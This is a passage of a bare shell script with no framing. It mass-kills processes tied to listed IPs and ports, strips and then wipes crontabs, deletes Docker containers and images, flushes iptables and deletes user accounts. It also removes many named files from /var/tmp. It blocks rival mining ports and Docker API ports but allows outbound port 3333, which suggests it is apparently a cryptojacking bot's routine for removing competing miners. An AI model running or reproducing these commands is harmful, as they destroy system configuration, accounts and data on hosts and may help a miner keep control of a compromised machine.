  795. netstat -antp | grep "104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  796. netstat -antp | grep "104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13" | grep "CLOSE_WAIT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  797. netstat -antp | grep "103.99.115.220\|51.38.133.232" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  798. netstat -antp | grep "103.99.115.220\|51.38.133.232" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  799. netstat -ant | grep "[2]3.94.24.12" | grep "LISTEN\|ESTABLISHED\|TIME_WAIT" | grep -v grep | xargs -I % kill -9 %
  800. netstat -ant | grep "[2]3.94.24.12" | grep "ESTABLISHED" | grep -v grep | xargs -I % kill -9 %
  801. netstat -ant | grep "[1]04.244.75.25" | grep "ESTABLISHED" | grep -v grep | xargs -I % kill -9 %
  802. netstat -ant | grep "66.70.218.40\|209.141.35.17" | grep "ESTABLISHED" | grep -v grep | xargs -I % kill -9 %
  803. netstat -ant | grep "54.36.137.146\|37.59.162.30" | grep "ESTABLISHED" | grep -v grep | xargs -I % kill -9 %
  804. netstat -ant | grep "37.139.10.55\|185.141.25.115\|68.183.224.58" | grep "LISTEN\|ESTABLISHED\|TIME_WAIT" | grep -v grep | xargs -I % kill -9 %
  805. netstat -ant | grep "37.139.10.55\|185.141.25.115\|68.183.224.58" | grep "ESTABLISHED" | grep -v grep | xargs -I % kill -9 %
  806. netstat -ant | grep "158.69.133.20\|192.99.142.249\|202.144.193.110" | grep "ESTABLISHED" | xargs -I % kill -9 %
  807. netstat -anp | grep "[w]atchbog" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  808. netstat -anp | grep "[j]avaUpdates" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  809. netstat -anp | grep "[:]9999" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  810. netstat -anp | grep "[:]8444" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  811. netstat -anp | grep "[:]7777" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  812. netstat -anp | grep "[:]7777" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  813. netstat -anp | grep "[:]7777" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  814. netstat -anp | grep "[:]6667" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  815. netstat -anp | grep "[:]6666" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  816. netstat -anp | grep "[:]6666" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  817. netstat -anp | grep "[:]6666" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  818. netstat -anp | grep "[:]6665" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  819. netstat -anp | grep "[:]6345" |awk '{print $7}'|sed -e "s/\/.*//g"| xargs -I % kill -9 %
  820. netstat -anp | grep "[:]56415" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  821. netstat -anp | grep "[:]5555" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  822. netstat -anp | grep "[:]5555" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  823. netstat -anp | grep "[:]5555" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  824. netstat -anp | grep "[:]4444" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  825. netstat -anp | grep "[:]4444" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  826. netstat -anp | grep "[:]4444" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  827. netstat -anp | grep "[:]3389" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  828. netstat -anp | grep "[:]3380" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  829. netstat -anp | grep "[:]3347" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  830. netstat -anp | grep "[:]3347" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  831. netstat -anp | grep "[:]3347" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  832. netstat -anp | grep "[:]23" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  833. netstat -anp | grep "[:]2222" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  834. netstat -anp | grep "[:]14444" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  835. netstat -anp | grep "[:]14444" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  836. netstat -anp | grep "[:]14444" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  837. netstat -anp | grep "[:]14433" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  838. netstat -anp | grep "[:]14433" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  839. netstat -anp | grep "[:]14433" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  840. netstat -anp | grep ":143" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  841. netstat -anp | grep ":13531" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  842. netstat -anp | grep ":13531" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  843. netstat -anp | grep ":13531" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  844. netstat -anp | grep ":1351" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  845. netstat -anp | grep "69.28.55.86" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  846. netstat -anp | grep "195.3.146.118" | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  847. netstat -anp | grep "185.71.65.238" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  848. netstat -anp | grep "185.71.65.238" | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  849. netstat -anp | grep "140.82.52.87" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  850. netstat -anp | grep "140.82.52.87" | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  851. netstat -anp | grep "119.9.76.107"|awk '{print $7}'|sed -e "s/\/.*//g"| xargs -I % kill -9 %
  852. #netstat -antp | grep "[:]3333" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  853. #netstat -anp | grep "[:]3333" |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  854. #netstat -anp | grep "[:]3333" | awk '{print $7}' |awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
  855. #netstat -anp | grep "[:]3333" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  856. #==# CRONTABS #==#
  857. crontab -l | sed '/zmreplchkr/d' | crontab -
  858. crontab -l | sed '/xyz/d' | crontab -
  859. crontab -l | sed '/xmr.ipzse.com/d' | crontab -
  860. crontab -l | sed '/update.sh/d' | crontab -
  861. crontab -l | sed '/tor2web/d' | crontab -
  862. crontab -l | sed '/tmp/d' | crontab -
  863. crontab -l | sed '/t.amynx.com/d' | crontab -
  864. crontab -l | sed '/shuf/d' | crontab -
  865. crontab -l | sed '/png/d' | crontab -
  866. crontab -l | sed '/pastebin/d' | crontab -
  867. crontab -l | sed '/onion/d' | crontab -
  868. crontab -l | sed '/newdat.sh/d' | crontab -
  869. crontab -l | sed '/mr.sh/d' | crontab -
  870. crontab -l | sed '/lsd.systemten.org/d' | crontab -
  871. crontab -l | sed '/logo9/d' | crontab -
  872. crontab -l | sed '/logo4/d' | crontab -
  873. crontab -l | sed '/logo0/d' | crontab -
  874. crontab -l | sed '/logo/d' | crontab -
  875. crontab -l | sed '/localhost.xyz/d' | crontab -
  876. crontab -l | sed '/jpg/d' | crontab -
  877. crontab -l | sed '/github/d' | crontab -
  878. crontab -l | sed '/bigd1ck.com/d' | crontab -
  879. crontab -l | sed '/ash/d' | crontab -
  880. crontab -l | sed '/aliyun.one/d' | crontab -
  881. crontab -l | sed '/45.77.86.208/d' | crontab -
  882. crontab -l | sed '/45.137.151.106/d' | crontab -
  883. crontab -l | sed '/3.215.110.66.one/d' | crontab -
  884. crontab -l | sed '/1eDKHr4r/d' | crontab -
  885. crontab -l | sed '/192.99.142.248/d' | crontab -
  886. crontab -l | sed '/192.99.142.232/d' | crontab -
  887. crontab -l | sed '/192.99.142.226/d' | crontab -
  888. crontab -l | sed '/185.181.10.234/d' | crontab -
  889. crontab -l | sed '/146.71.79.230/d' | crontab -
  890. crontab -l | sed '/144.202.8.151/d' | crontab -
  891. crontab -l | sed '/122.51.164.83/d' | crontab -
  892. crontab -l | sed '/111.90.159.106/d' | crontab -
  893. crontab -l | grep -e "xmrig" | grep -v grep | crontab -
  894. crontab -l | grep -e "systemten" | grep -v grep | crontab -
  895. crontab -l | grep -e "pastebin.com" | grep -v grep | crontab -
  896. crontab -l | grep -e "mr.sh" | grep -v grep | crontab -
  897. crontab -l | grep -e "logo9.jpg" | grep -v grep | crontab -
  898. crontab -l | grep -e "log_rotate" | grep -v grep | crontab -
  899. crontab -l | grep -e "gitee" | grep -v grep | crontab -
  900. crontab -l | grep -e "cr5.sh" | grep -v grep | crontab -
  901. crontab -l | grep -e "aW1wb3J0IHVybGxp" | grep -v grep | crontab -
  902. crontab -l | grep -e "2mr.sh" | grep -v grep | crontab -
  903. crontab -l | grep -e "205.185.113.35" | grep -v grep | crontab -
  904. crontab -l | grep -e "195.3.146.118" | grep -v grep | crontab -
  905. crontab -l | grep -e "192.99.142.226\|82.146.58.234\|83.220.169.247\|91.201.42.5" | grep -v grep | crontab -
  906. crontab -r
  907. #==# DOCKERS #==#
  908. docker ps | grep "patsissons/xmrig" | awk '{print $1}' | xargs -I % docker rm -f %
  909. docker ps | grep "patsissons/xmrig" | awk '{print $1}' | xargs -I % docker kill %
  910. docker ps | grep "lchaia/xmrig" | awk '{print $1}' | xargs -I % docker rm -f %
  911. docker ps | grep "lchaia/xmrig" | awk '{print $1}' | xargs -I % docker kill %
  912. docker ps | grep "cokkokotre1/update" | awk '{print $1}' | xargs -I % docker rm -f %
  913. docker ps | grep "cokkokotre1/update" | awk '{print $1}' | xargs -I % docker kill %
  914. docker ps | grep "chroot /mnt" | awk '{print $1}' | xargs -I % docker kill %
  915. docker ps | grep "challengerd/challengerd" | awk '{print $1}' | xargs -I % docker rm -f %
  916. docker ps | grep "challengerd/challengerd" | awk '{print $1}' | xargs -I % docker kill %
  917. docker ps | grep "[x]mr" | awk '{print $1}' | xargs -I % docker rm -f %
  918. docker ps | grep "[x]mr" | awk '{print $1}' | xargs -I % docker kill %
  919. docker ps | grep "[s]lowhttp" | awk '{print $1}' | xargs -I % docker kill %
  920. docker ps | grep "[s]creen" | awk '{print $1}' | xargs -I % docker rm -f %
  921. docker ps | grep "[s]alt-minions*" | awk '{print }' | xargs -I % docker rm -f %
  922. docker ps | grep "[s]alt-minions" | awk '{print }' | xargs -I % docker rm -f %
  923. docker ps | grep "[p]ocosow" | awk '{print $1}' | xargs -I % docker rm -f %
  924. docker ps | grep "[p]ocosow" | awk '{print $1}' | xargs -I % docker kill %
  925. docker ps | grep "[m]onero" | awk '{print $1}' | xargs -I % docker rm -f %
  926. docker ps | grep "[m]onero" | awk '{print $1}' | xargs -I % docker kill %
  927. docker ps | grep "[m]ine" | awk '{print $1}' | xargs -I % docker rm -f %
  928. docker ps | grep "[m]ine" | awk '{print $1}' | xargs -I % docker kill %
  929. docker ps | grep "[k]insing*" | awk '{print }' | xargs -I % docker rm -f %
  930. docker ps | grep "[k]insing" | awk '{print }' | xargs -I % docker rm -f %
  931. docker ps | grep "[k]devtmpfsi*" | awk '{print }' | xargs -I % docker rm -f %
  932. docker ps | grep "[k]devtmpfsi" | awk '{print }' | xargs -I % docker rm -f %
  933. docker ps | grep "[g]akeaws" | awk '{print $1}' | xargs -I % docker rm -f %
  934. docker ps | grep "[g]akeaws" | awk '{print $1}' | xargs -I % docker kill %
  935. docker ps | grep "[e]ntrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
  936. docker ps | grep "[b]ash.shell" | awk '{print $1}' | xargs -I % docker rm -f %
  937. docker ps | grep "[b]ash.shell" | awk '{print $1}' | xargs -I % docker kill %
  938. docker ps | grep "[a]zulu" | awk '{print $1}' | xargs -I % docker rm -f %
  939. docker ps | grep "[a]zulu" | awk '{print $1}' | xargs -I % docker kill %
  940. docker ps | grep "[a]uto" | awk '{print $1}' | xargs -I % docker rm -f %
  941. docker ps | grep "[a]uto" | awk '{print $1}' | xargs -I % docker kill %
  942. docker ps | grep "[S]alt-minions*" | awk '{print }' | xargs -I % docker rm -f %
  943. docker ps | grep "[S]alt-minions" | awk '{print }' | xargs -I % docker rm -f %
  944. docker ps | grep "[K]insing*" | awk '{print }' | xargs -I % docker rm -f %
  945. docker ps | grep "[K]insing" | awk '{print }' | xargs -I % docker rm -f %
  946. docker ps | grep "[K]devtmpfsi*" | awk '{print }' | xargs -I % docker rm -f %
  947. docker ps | grep "[K]devtmpfsi" | awk '{print }' | xargs -I % docker rm -f %
  948. docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
  949. docker ps | grep "/var/bash" | awk '{print $1}' | xargs -I % docker kill %
  950. docker ps | grep "/bin/bash" | awk '{print $1}' | xargs -I % docker rm -f %
  951. docker ps | grep "/bin/bash -c" | awk '{print $1}' | xargs -I % docker rm -f %
  952. docker ps | grep "/bin/bash -c" | awk '{print $1}' | xargs -I % docker kill %
  953. docker images -a | grep "patsissons/xmrig" | awk '{print $3}' | xargs -I % docker rmi -f %
  954. docker images -a | grep "lchaia/xmrig" | awk '{print $3}' | xargs -I % docker rmi -f %
  955. docker images -a | grep "cokkokotre1/update" | awk '{print $3}' | xargs -I % docker rmi -f %
  956. docker images -a | grep "[x]mr" | awk '{print $3}' | xargs -I % docker rmi -f %
  957. docker images -a | grep "[s]lowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
  958. docker images -a | grep "[s]alt-minions*" | awk '{print }' | xargs -I % docker rmi -f %
  959. docker images -a | grep "[s]alt-minions" | awk '{print }' | xargs -I % docker rmi -f %
  960. docker images -a | grep "[r]egistry" | awk '{print $3}' | xargs -I % docker rmi -f %
  961. docker images -a | grep "[p]ocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
  962. docker images -a | grep "[m]onero" | awk '{print $3}' | xargs -I % docker rmi -f %
  963. docker images -a | grep "[m]ine" | awk '{print $3}' | xargs -I % docker rmi -f %
  964. docker images -a | grep "[k]insing*" | awk '{print }' | xargs -I % docker rmi -f %
  965. docker images -a | grep "[k]insing" | awk '{print }' | xargs -I % docker rmi -f %
  966. docker images -a | grep "[k]devtmpfsi*" | awk '{print }' | xargs -I % docker rmi -f %
  967. docker images -a | grep "[k]devtmpfsi" | awk '{print }' | xargs -I % docker rmi -f %
  968. docker images -a | grep "[j]epsen" | awk '{print $3}' | xargs -I % docker rmi -f %
  969. docker images -a | grep "[h]ello-" | awk '{print $3}' | xargs -I % docker rmi -f %
  970. docker images -a | grep "[g]akeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
  971. docker images -a | grep "[c]hallengerd/challengerd" | awk '{print $3}' | xargs -I % docker rmi -f %
  972. docker images -a | grep "[b]uster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
  973. docker images -a | grep "[b]ash.shell" | awk '{print $3}' | xargs -I % docker rmi -f %
  974. docker images -a | grep "[a]zulu" | awk '{print $3}' | xargs -I % docker rmi -f %
  975. docker images -a | grep "[a]uto" | awk '{print $3}' | xargs -I % docker rmi -f %
  976. docker images -a | grep "[S]alt-minions*" | awk '{print }' | xargs -I % docker rmi -f %
  977. docker images -a | grep "[S]alt-minions" | awk '{print }' | xargs -I % docker rmi -f %
  978. docker images -a | grep "[K]insing*" | awk '{print }' | xargs -I % docker rmi -f %
  979. docker images -a | grep "[K]insing" | awk '{print }' | xargs -I % docker rmi -f %
  980. docker images -a | grep "[K]devtmpfsi*" | awk '{print }' | xargs -I % docker rmi -f %
  981. docker images -a | grep "[K]devtmpfsi" | awk '{print }' | xargs -I % docker rmi -f %
  982. #==# IPTABLES #==#
  983. iptables -F
  984. iptables -X
  985. iptables -I OUTPUT -s 167.99.166.61 -j DROP
  986. iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
  987. iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
  988. iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j DROP
  989. iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
  990. iptables -I INPUT -s 64.225.46.44/32 -j DROP
  991. iptables -I INPUT -s 5.255.86.129 -j REJECT
  992. iptables -I INPUT -s 5.255.86.129 -j DROP
  993. iptables -I INPUT -s 43.245.222.57 -j DROP
  994. iptables -I INPUT -s 34.69.248.204/32 -j DROP
  995. iptables -I INPUT -s 213.32.29.143 -j DROP
  996. iptables -I INPUT -s 195.3.146.118 -j DROP
  997. iptables -I INPUT -s 178.128.237.155/32 -j DROP
  998. iptables -I INPUT -s 167.99.166.61 -j DROP
  999. iptables -I INPUT -s 138.68.14.52/32 -j DROP
  1000. iptables -I INPUT -s 122.51.164.83 -j DROP
  1001. iptables -I INPUT -s 107.191.99.95 -j REJECT
  1002. iptables -I INPUT -s 107.191.99.95 -j DROP
  1003. iptables -I INPUT -s 107.191.99.227 -j REJECT
  1004. iptables -I INPUT -s 107.191.99.227 -j DROP
  1005. iptables -I INPUT ! -i lo -p tcp -m tcp --dport 2375 -j DROP
  1006. iptables -A OUTPUT -p tcp --dport 9999 -j DROP
  1007. iptables -A OUTPUT -p tcp --dport 7777 -j DROP
  1008. iptables -A OUTPUT -p tcp --dport 6667 -j DROP
  1009. iptables -A OUTPUT -p tcp --dport 5555 -j DROP
  1010. iptables -A OUTPUT -p tcp --dport 3333 -j ACCEPT
  1011. iptables -A OUTPUT -p tcp --dport 5432 -j ACCEPT
  1012. iptables -A OUTPUT -d 185.234.217.11 -j DROP
  1013. iptables -A INPUT -s 185.234.217.11 -j REJECT
  1014. iptables -A INPUT -s 185.234.217.11 -j DROP
  1015. iptables -A INPUT -p tcp -m tcp --dport 4244 -j DROP
  1016. iptables -A INPUT -p tcp -m tcp --dport 4243 -j DROP
  1017. iptables -A INPUT -p tcp -m tcp --dport 2377 -j DROP
  1018. iptables -A INPUT -p tcp -m tcp --dport 2376 -j DROP
  1019. iptables -A INPUT -p tcp -m tcp --dport 2375 -j DROP
  1020. service iptables reload
  1021. #==# GROUPDEL #==#
  1022. groupdel sysall
  1023. #==# USERDEL #==#
  1024. userdel -rf vfinder
  1025. userdel -rf user1
  1026. userdel -rf system
  1027. userdel -rf sysall
  1028. userdel -rf phishl00t
  1029. userdel -rf opsecx12
  1030. userdel -rf o
  1031. userdel -rf logger
  1032. userdel -rf hilde
  1033. userdel -rf darmok
  1034. userdel -rf cokkokotre1
  1035. userdel -rf autoupdater
  1036. userdel -rf akay
  1037. }
  1038. local_kill_sus5 > /dev/null 2>&1
  1039. local_kill_sus6(){
  1040. ##### KILL AND REMOVE SUSPICIOUS SIX #####
  1041. #==# REMOVE ALL FUCKING FILE #==#
  1042. find /var/tmp/ -type f -name "[z]0.txt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1043. find /var/tmp/ -type f -name "[x]x.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1044. find /var/tmp/ -type f -name "[x]ms" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1045. find /var/tmp/ -type f -name "[x]mrig" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1046. find /var/tmp/ -type f -name "[x]mi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1047. find /var/tmp/ -type f -name "[x]esa.txt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1048. find /var/tmp/ -type f -name "[x]anthe" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1049. find /var/tmp/ -type f -name "[w]c.conf" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1050. find /var/tmp/ -type f -name "[w]atchbog.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1051. find /var/tmp/ -type f -name "[u]pdate.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1052. find /var/tmp/ -type f -name "[u]nixdb_decode.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1053. find /var/tmp/ -type f -name "[t]mp2.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1054. find /var/tmp/ -type f -name "[t]mp.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1055. find /var/tmp/ -type f -name "[t]ask.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1056. find /var/tmp/ -type f -name "[s]ystemctI" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1057. find /var/tmp/ -type f -name "[s]ustse3" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1058. find /var/tmp/ -type f -name "[s]ustse" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1059. find /var/tmp/ -type f -name "[s]sh_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1060. find /var/tmp/ -type f -name "[s]sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1061. find /var/tmp/ -type f -name "[s]pread_rsa.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1062. find /var/tmp/ -type f -name "[s]ic" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1063. find /var/tmp/ -type f -name "[s]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1064. find /var/tmp/ -type f -name "[s]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1065. find /var/tmp/ -type f -name "[s]a.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1066. find /var/tmp/ -type f -name "[r]un.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1067. find /var/tmp/ -type f -name "[r]s.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1068. find /var/tmp/ -type f -name "[q]q1" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1069. find /var/tmp/ -type f -name "[q]q" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1070. find /var/tmp/ -type f -name "[p]scf*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1071. find /var/tmp/ -type f -name "[p]scd*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1072. find /var/tmp/ -type f -name "[p]op.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1073. find /var/tmp/ -type f -name "[p]m.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1074. find /var/tmp/ -type f -name "[p]lay.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1075. find /var/tmp/ -type f -name "[p]dflushs.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1076. find /var/tmp/ -type f -name "[n]tpd" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1077. find /var/tmp/ -type f -name "[n]tp" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1078. find /var/tmp/ -type f -name "[n]ewdat.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1079. find /var/tmp/ -type f -name "[n]adezhda.*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1080. find /var/tmp/ -type f -name "[m]oneroocean" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1081. find /var/tmp/ -type f -name "[m]o.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1082. find /var/tmp/ -type f -name "[m]al.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1083. find /var/tmp/ -type f -name "[l]ogo9_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1084. find /var/tmp/ -type f -name "[l]ogo8_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1085. find /var/tmp/ -type f -name "[l]m_ssh.assi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1086. find /var/tmp/ -type f -name "[l]ib" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1087. find /var/tmp/ -type f -name "[l]dr2.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1088. find /var/tmp/ -type f -name "[l]dr.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1089. find /var/tmp/ -type f -name "[k]workerdssx" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1090. find /var/tmp/ -type f -name "[k]workerds3" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1091. find /var/tmp/ -type f -name "[k]workerds" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1092. find /var/tmp/ -type f -name "[k]s3" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1093. find /var/tmp/ -type f -name "[k]s2" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1094. find /var/tmp/ -type f -name "[k]s" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1095. find /var/tmp/ -type f -name "[k]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1096. find /var/tmp/ -type f -name "[k]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1097. find /var/tmp/ -type f -name "[k]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1098. find /var/tmp/ -type f -name "[k]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1099. find /var/tmp/ -type f -name "[k]4.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1100. find /var/tmp/ -type f -name "[j]rm" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1101. find /var/tmp/ -type f -name "[j]ava*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1102. find /var/tmp/ -type f -name "[j]ava" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1103. find /var/tmp/ -type f -name "[j]*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1104. find /var/tmp/ -type f -name "[i]s.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1105. find /var/tmp/ -type f -name "[i]nit.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1106. find /var/tmp/ -type f -name "[i].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1107. find /var/tmp/ -type f -name "[f]czyo" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1108. find /var/tmp/ -type f -name "[f]41" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1109. find /var/tmp/ -type f -name "[e]x.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1110. find /var/tmp/ -type f -name "[d]evtools" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1111. find /var/tmp/ -type f -name "[d]evtool" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1112. find /var/tmp/ -type f -name "[d].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1113. find /var/tmp/ -type f -name "[c]r.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1114. find /var/tmp/ -type f -name "[c]onfig.json" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1115. find /var/tmp/ -type f -name "[c]onf.n" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1116. find /var/tmp/ -type f -name "[c]hongfu.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1117. find /var/tmp/ -type f -name "[c]at.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1118. find /var/tmp/ -type f -name "[b]sh.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1119. find /var/tmp/ -type f -name "[b]bb" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1120. find /var/tmp/ -type f -name "[a]sh.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1121. find /var/tmp/ -type f -name "[a]a" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1122. find /var/tmp/ -type f -name "[W]atchdosMiner.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1123. find /var/tmp/ -type f -name "[S]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1124. find /var/tmp/ -type f -name "[S]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1125. find /var/tmp/ -type f -name "[S]Hre.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1126. find /var/tmp/ -type f -name "[R]ze.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1127. find /var/tmp/ -type f -name "[L]ov.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
